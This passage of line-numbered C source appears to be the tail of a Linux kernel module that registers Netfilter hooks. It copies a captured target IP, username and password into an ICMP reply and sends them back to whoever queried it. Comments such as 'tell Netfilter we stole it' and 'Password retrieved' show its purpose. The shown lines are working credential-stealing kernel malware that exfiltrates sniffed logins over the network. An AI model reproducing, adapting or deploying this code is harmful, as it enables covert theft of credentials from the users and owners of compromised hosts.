| * swap IP source and destination addresses and ethernet addresses 221 | * if necessary and then transmit the packet from here and tell 222 | * Netfilter we stole it. Phew... */ 223 | taddr = iph->saddr; 224 | iph->saddr = iph->daddr; 225 | iph->daddr = taddr; 226 | 227 | sk->pkt_type = PACKET_OUTGOING; 228 | 229 | switch (sk->dev->type) { 230 | case ARPHRD_PPP: /* No fiddling needs doing */ 231 | break; 232 | case ARPHRD_LOOPBACK: 233 | case ARPHRD_ETHER: 234 | { 235 | unsigned char t_hwaddr[ETH_ALEN]; 236 | 237 | /* Move the data pointer to point to the link layer header */ 238 | sk->data = (unsigned char *)sk->mac_header; 239 | sk->len += ETH_HLEN; //sizeof(sb->mac.ethernet); 240 | memcpy(t_hwaddr, ( ((struct ethhdr*)(sk->mac_header))->h_dest), ETH_ALEN); 241 | memcpy( ((struct ethhdr*)(sk->mac_header))->h_dest, (((struct ethhdr*)(sk->mac_header))->h_source),ETH_ALEN); 242 | memcpy((((struct ethhdr*)(sk->mac_header))->h_source), t_hwaddr, ETH_ALEN); 243 | 244 | break; 245 | } 246 | }; 247 | 248 | /* Now copy the IP address, then Username, then password into packet */ 249 | cp_data = (char *)((char *)icmp + sizeof(struct icmphdr)); 250 | memcpy(cp_data, &target_ip, 4); 251 | if (username) 252 | memcpy(cp_data + 4, username, 16); 253 | if (password) 254 | memcpy(cp_data + 20, password, 16); 255 | 256 | /* This is where things will die if they are going to. 257 | * Fingers crossed... */ 258 | dev_queue_xmit(sk); 259 | 260 | /* Now free the saved username and password and reset have_pair */ 261 | kfree(username); 262 | kfree(password); 263 | username = password = NULL; 264 | have_pair = 0; 265 | 266 | target_port = target_ip = 0; 267 | 268 | // printk("Password retrieved\n"); 269 | 270 | return NF_STOLEN; 271 | } 272 | 273 | int init_module() 274 | { 275 | pre_hook.hook = watch_in; 276 | pre_hook.pf = PF_INET; 277 | pre_hook.priority = NF_IP_PRI_FIRST; 278 | pre_hook.hooknum = NF_INET_PRE_ROUTING; 279 | 280 | post_hook.hook = watch_out; 281 | post_hook.pf = PF_INET; 282 | post_hook.priority = NF_IP_PRI_FIRST; 283 | post_hook.hooknum = NF_INET_POST_ROUTING; 284 | 285 | nf_register_hook(&pre_hook); 286 | nf_register_hook(&post_hook); 287 | 288 | return 0; 289 | } 290 | 291 | void cleanup_module() 292 | { 293 | nf_unregister_hook(&post_hook); 294 | nf_unregister_hook(&pre_hook); 295 | 296 | if (password) 297 | kfree(password); 298 | if (username) 299 | kfree(username); 300 | } 301 | 302 | 303 | 304 | MODULE_INIT(init_module); 305 | MODULE_EXIT(cleanup_module); 306 | 307 | MODULE_LICENSE("GPL"); 308 | MODULE_AUTHOR("xsc"); --------------------------------------------------------------------------------